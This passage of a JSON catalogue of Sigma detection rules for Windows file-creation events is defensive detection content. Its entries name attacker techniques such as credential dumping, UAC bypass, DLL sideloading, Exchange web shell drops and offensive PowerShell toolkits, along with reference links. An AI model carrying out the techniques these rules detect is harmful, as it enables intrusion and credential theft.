            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4f1707b1-b50b-45b4-b5a2-3978b5a5d0d6",
      "value": "Potential Homoglyph Attack Using Lookalike Characters in Filename"
    },
    {
      "description": "Detects creation of files which are the results of executing the built-in reconnaissance script \"C:\\Windows\\System32\\gatherNetworkInfo.vbs\".",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_lolbin_gather_network_info_script_output.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government",
          "https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lolbin_gather_network_info_script_output.yml"
        ],
        "tags": [
          "attack.discovery"
        ]
      },
      "uuid": "f92a6f1e-a512-4a15-9735-da09e78d7273",
      "value": "GatherNetworkInfo.VBS Reconnaissance Script Output"
    },
    {
      "description": "Detects the creation of a file that has the same name as the default LiveKD kernel memory dump.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/16",
        "falsepositive": [
          "In rare occasions administrators might leverage LiveKD to perform live kernel debugging. This should not be allowed on production systems. Investigate and apply additional filters where necessary."
        ],
        "filename": "file_event_win_sysinternals_livekd_default_dump_name.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_livekd_default_dump_name.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation"
        ]
      },
      "uuid": "814ddeca-3d31-4265-8e07-8cc54fb44903",
      "value": "LiveKD Kernel Memory Dump File Created"
    },
    {
      "description": "Detects the creation of file by the \"node.exe\" process in the \".vscode-server\" directory. Could be a sign of remote file creation via VsCode tunnel feature\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/10/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_vscode_tunnel_remote_creation_artefacts.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_vscode_tunnel_remote_creation_artefacts.yml"
        ],
        "tags": [
          "attack.command_and_control"
        ]
      },
      "uuid": "56e05d41-ce99-4ecd-912d-93f019ee0b71",
      "value": "Visual Studio Code Tunnel Remote File Creation"
    },
    {
      "description": "Detects the creation of a new Outlook form which can contain malicious code",
      "meta": {
        "author": "Tobias Michalski (Nextron Systems)",
        "creation_date": "2021/06/10",
        "falsepositive": [
          "Legitimate use of outlook forms"
        ],
        "filename": "file_event_win_office_outlook_newform.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=76",
          "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=79",
          "https://learn.microsoft.com/en-us/office/vba/outlook/concepts/outlook-forms/create-an-outlook-form",
          "https://www.slipstick.com/developer/custom-form/clean-outlooks-forms-cache/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_outlook_newform.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1137.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "a9e2cea0-c805-4bf8-9e31-f5f0513a3634",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c3edc6a5-d9d4-48d8-930e-aab518390917",
      "value": "Potential Persistence Via Outlook Form"
    },
    {
      "description": "Detects creation of a malicious DLL file in the location where the OneDrive or Team applications\nUpon execution of the Teams or OneDrive application, the dropped malicious DLL file (“iphlpapi.dll”) is sideloaded\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_iphlpapi_dll_sideloading.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iphlpapi_dll_sideloading.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.defense_evasion",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1908fcc1-1b92-4272-8214-0fbaf2fa5163",
      "value": "Malicious DLL File Dropped in the Teams or OneDrive Folder"
    },
    {
      "description": "Detects creation of a file named \"wpbbin\" in the \"%systemroot%\\system32\\\" directory. Which could be indicative of UEFI based persistence method",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/18",
        "falsepositive": [
          "Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)"
        ],
        "filename": "file_event_win_wpbbin_persistence.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://persistence-info.github.io/Data/wpbbin.html",
          "https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wpbbin_persistence.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.t1542.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "16ab6452-c3c1-497c-a47d-206018ca1ada",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e94b9ddc-eec5-4bb8-8a58-b9dc5f4e185f",
      "value": "UEFI Persistence Via Wpbbin - FileCreation"
    },
    {
      "description": "Detects the creation of log files during a TeamViewer remote session",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/01/30",
        "falsepositive": [
          "Legitimate uses of TeamViewer in an organisation"
        ],
        "filename": "file_event_win_susp_teamviewer_remote_session.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.teamviewer.com/en-us/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_teamviewer_remote_session.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "162ab1e4-6874-4564-853c-53ec3ab8be01",
      "value": "TeamViewer Remote Session"
    },
    {
      "description": "Detects default file names outputted by the BloodHound collection tool SharpHound",
      "meta": {
        "author": "C.J. May",
        "creation_date": "2022/08/09",
        "falsepositive": [
          "Some false positives may arise in some environment and this may require some tuning. Add additional filters or reduce level depending on the level of noise"
        ],
        "filename": "file_event_win_bloodhound_collection.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://academy.hackthebox.com/course/preview/active-directory-bloodhound/bloodhound--data-collection",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_bloodhound_collection.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1087.001",
          "attack.t1087.002",
          "attack.t1482",
          "attack.t1069.001",
          "attack.t1069.002",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "02773bed-83bf-469f-b7ff-e676e7d78bab",
      "value": "BloodHound Collection Files"
    },
    {
      "description": "Detects WerFault copoed to a suspicious folder, which could be a sign of WerFault DLL hijacking",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/05/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_werfault_dll_hijacking.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.bleepingcomputer.com/news/security/hackers-are-now-hiding-malware-in-windows-event-logs/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_werfault_dll_hijacking.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.t1574.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "28a452f3-786c-4fd8-b8f2-bddbe9d616d1",
      "value": "Creation of an WerFault.exe in Unusual Folder"
    },
    {
      "description": "Detects Octopus Scanner Malware.",
      "meta": {
        "author": "NVISO",
        "creation_date": "2020/06/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_mal_octopus_scanner.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_octopus_scanner.yml"
        ],
        "tags": [
          "attack.t1195",
          "attack.t1195.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "191cc6af-1bb2-4344-ab5f-28e496638720",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "805c55d9-31e6-4846-9878-c34c75054fe9",
      "value": "Octopus Scanner Malware"
    },
    {
      "description": "This rule detects suspicious files created by Microsoft Sync Center (mobsync)",
      "meta": {
        "author": "elhoim",
        "creation_date": "2022/04/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_susp_creation_by_mobsync.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/intelligence-insights-november-2021/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_creation_by_mobsync.yml"
        ],
        "tags": [
          "attack.t1055",
          "attack.t1218",
          "attack.execution",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "409f8a98-4496-4aaa-818a-c931c0a8b832",
      "value": "Created Files by Microsoft Sync Center"
    },
    {
      "description": "Detects AnyDesk writing binary files to disk other than \"gcapi.dll\".\nAccording to RedCanary research it is highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll,\nwhich is a legitimate DLL that is part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details)\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_anydesk_writing_susp_binaries.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/misbehaving-rats/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_writing_susp_binaries.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2d367498-5112-4ae5-a06a-96e7bc33a211",
      "value": "Suspicious Binary Writes Via AnyDesk"
    },
    {
      "description": "Detects a phishing attack which expands a ZIP file containing a malicious shortcut.\nIf the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder.\nAdditionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.\n",
      "meta": {
        "author": "Greg (rule)",
        "creation_date": "2022/07/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_ripzip_attack.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/jonasLyk/status/1549338335243534336?t=CrmPocBGLbDyE4p6zTX1cg&s=19",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ripzip_attack.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547"
        ]
      },
      "related": [
        {
          "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a6976974-ea6f-4e97-818e-ea08625c52cb",
      "value": "Potential RipZip Attack on Startup Folder"
    },
    {
      "description": "Detects the creation of hidden file/folder with the \"::$index_allocation\" stream. Which can be used as a technique to prevent access to folder and files from tooling such as \"explorer.exe\" and \"powershell.exe\"\n",
      "meta": {
        "author": "Scoubi (@ScoubiMtl)",
        "creation_date": "2023/10/09",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "file_event_win_susp_hidden_dir_index_allocation.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3",
          "https://soroush.me/blog/2010/12/a-dotty-salty-directory-a-secret-place-in-ntfs-for-secret-files/",
          "https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/",
          "https://twitter.com/pfiatde/status/1681977680688738305",
          "https://github.com/redcanaryco/atomic-red-team/blob/5c3b23002d2bbede3c07e7307165fc2a235a427d/atomics/T1564.004/T1564.004.md#atomic-test-5---create-hidden-directory-via-index_allocation",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_hidden_dir_index_allocation.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a8f866e1-bdd4-425e-a27a-37619238d9c7",
      "value": "Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream"
    },
    {
      "description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.",
      "meta": {
        "author": "@ROxPinTeddy",
        "creation_date": "2020/05/12",
        "falsepositive": [
          "Legitimate administrative use"
        ],
        "filename": "file_event_win_advanced_ip_scanner.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html",
          "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer",
          "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/",
          "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf",
          "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_advanced_ip_scanner.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1046"
        ]
      },
      "related": [
        {
          "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fed85bf9-e075-4280-9159-fbe8a023d6fa",
      "value": "Advanced IP Scanner - File Event"
    },
    {
      "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_uac_bypass_wmp.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_wmp.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "68578b43-65df-4f81-9a9b-92f32711a951",
      "value": "UAC Bypass Using Windows Media Player - File"
    },
    {
      "description": "Detects the creation of known offensive powershell scripts used for exploitation",
      "meta": {
        "author": "Markus Neis, Nasreddine Bencherchali (Nextron Systems), Mustafa Kaan Demir, Georg Lauenstein",
        "creation_date": "2018/04/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_powershell_exploit_scripts.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1",
          "https://github.com/adrecon/AzureADRecon",
          "https://github.com/DarkCoderSc/PowerRunAsSystem/",
          "https://github.com/samratashok/nishang",
          "https://github.com/adrecon/ADRecon",
          "https://github.com/CsEnox/EventViewer-UACBypass",
          "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1",
          "https://github.com/HarmJ0y/DAMP",
          "https://github.com/PowerShellMafia/PowerSploit",
          "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/",
          "https://github.com/besimorhino/powercat",
          "https://github.com/Kevin-Robertson/Powermad",
          "https://github.com/S3cur3Th1sSh1t/WinPwn",
          "https://github.com/AlsidOfficial/WSUSpendu/",
          "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1",
          "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/",
          "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries",
          "https://github.com/nettitude/Invoke-PowerThIEf",
          "https://github.com/NetSPI/PowerUpSQL",
          "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_exploit_scripts.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
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      "uuid": "f331aa1f-8c53-4fc3-b083-cc159bc971cb",
      "value": "Malicious PowerShell Scripts - FileCreation"
    },
    {
      "description": "Detects suspicious file type dropped by an Exchange component in IIS",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/10/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_exchange_webshell_drop_suspicious.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/",
          "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html",
          "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop_suspicious.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1190",
          "attack.initial_access",
          "attack.t1505.003"
        ]
      },
      "related": [
        {
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          ],
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        }
      ],
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      "value": "Suspicious File Drop by Exchange"
    },
    {
      "description": "Detects PowerShell creating a binary executable or a script file.",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/03/17",
        "falsepositive": [
          "False positives will differ depending on the environment and scripts used. Apply additional filters accordingly."
        ],
        "filename": "file_event_win_powershell_drop_binary_or_script.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_drop_binary_or_script.yml"
        ],
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          "attack.persistence"
        ]
      },
      "uuid": "7047d730-036f-4f40-b9d8-1c63e36d5e62",
      "value": "Potential Binary Or Script Dropper Via PowerShell"
    },
    {
      "description": "Detects default CSExec service filename which indicates CSExec service installation and execution",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_csexec_service.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/malcomvetter/CSExec",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_csexec_service.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1569.002",
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      },
      "related": [
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
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      ],
      "uuid": "f0e2b768-5220-47dd-b891-d57b96fc0ec1",
      "value": "CSExec Service File Creation"
    },
    {
      "description": "Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/02/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_susp_exchange_aspx_write.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/blackbyte-ransomware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_exchange_aspx_write.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1190",
          "attack.persistence",
          "attack.t1505.003"
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      },
      "related": [
        {
          "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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        {
          "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
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          "type": "related-to"
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      ],
      "uuid": "7280c9f3-a5af-45d0-916a-bc01cb4151c9",
      "value": "Suspicious MSExchangeMailboxReplication ASPX Write"
    },
    {
      "description": "Detects suspicious file based on their extension being created in \"C:\\PerfLogs\\\". Note that this directory mostly contains \".etl\" files",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/05",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "file_event_win_perflogs_susp_files.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://labs.withsecure.com/publications/fin7-target-veeam-servers",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_perflogs_susp_files.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "bbb7e38c-0b41-4a11-b306-d2a457b7ac2b",
      "value": "Suspicious File Created In PerfLogs"
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    {
      "description": "Detects processes creating temp files related to PCRE.NET package",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/10/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_pcre_net_temp_file.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/tifkin_/status/1321916444557365248",
          "https://twitter.com/rbmaslen/status/1321859647091970051",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pcre_net_temp_file.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
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      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
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      "value": "PCRE.NET Package Temp Files"
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      "description": "Detects the creation of an executable with a system process name in folders other than the system ones (System32, SysWOW64...etc).",
      "meta": {
        "author": "Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2020/05/26",
        "falsepositive": [
          "System processes copied outside their default folders for testing purposes",
          "Third party software naming their software with the same names as the processes mentioned here"
        ],
        "filename": "file_event_win_creation_system_file.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_system_file.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
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      ],
      "uuid": "d5866ddf-ce8f-4aea-b28e-d96485a20d3d",
      "value": "Files With System Process Name In Unsuspected Locations"
    },
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      "description": "Files with well-known filenames (parts of credential dump software or files produced by them) creation",
      "meta": {
        "author": "Teymur Kheirkhabarov, oscd.community",
        "creation_date": "2019/11/01",
        "falsepositive": [
          "Legitimate Administrator using tool for password recovery"
        ],
        "filename": "file_event_win_cred_dump_tools_dropped_files.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cred_dump_tools_dropped_files.yml"
        ],
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          "attack.t1003.001",
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          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
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        {
          "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
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          "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530",
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      ],
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      "meta": {
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        "logsource.category": "file_event",
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          "https://persistence-info.github.io/Data/powershellprofile.html",
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        ],
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    {
      "description": "TeamViewer_Desktop.exe is create during install",
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        "creation_date": "2022/01/28",
        "falsepositive": [
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        ],
        "filename": "file_event_win_install_teamviewer_desktop.yml",
        "level": "medium",
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        ],
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          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
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      "value": "Installation of TeamViewer Desktop"
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      "meta": {
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_uac_bypass_dotnet_profiler.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
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        ],
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        {
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      "meta": {
        "author": "Max Altgelt (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/02",
        "falsepositive": [
          "Loading a user environment from a backup or a domain controller",
          "Synchronization of templates"
        ],
        "filename": "file_event_win_office_startup_persistence.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://insight-jp.nttsecurity.com/post/102hojk/operation-restylink-apt-campaign-targeting-japanese-companies",
          "https://learn.microsoft.com/en-us/office/troubleshoot/excel/use-startup-folders",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_startup_persistence.yml"
        ],
        "tags": [
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      ],
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      "value": "Potential Persistence Via Microsoft Office Startup Folder"
    },
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      "description": "Detects Rclone config file being created",
      "meta": {
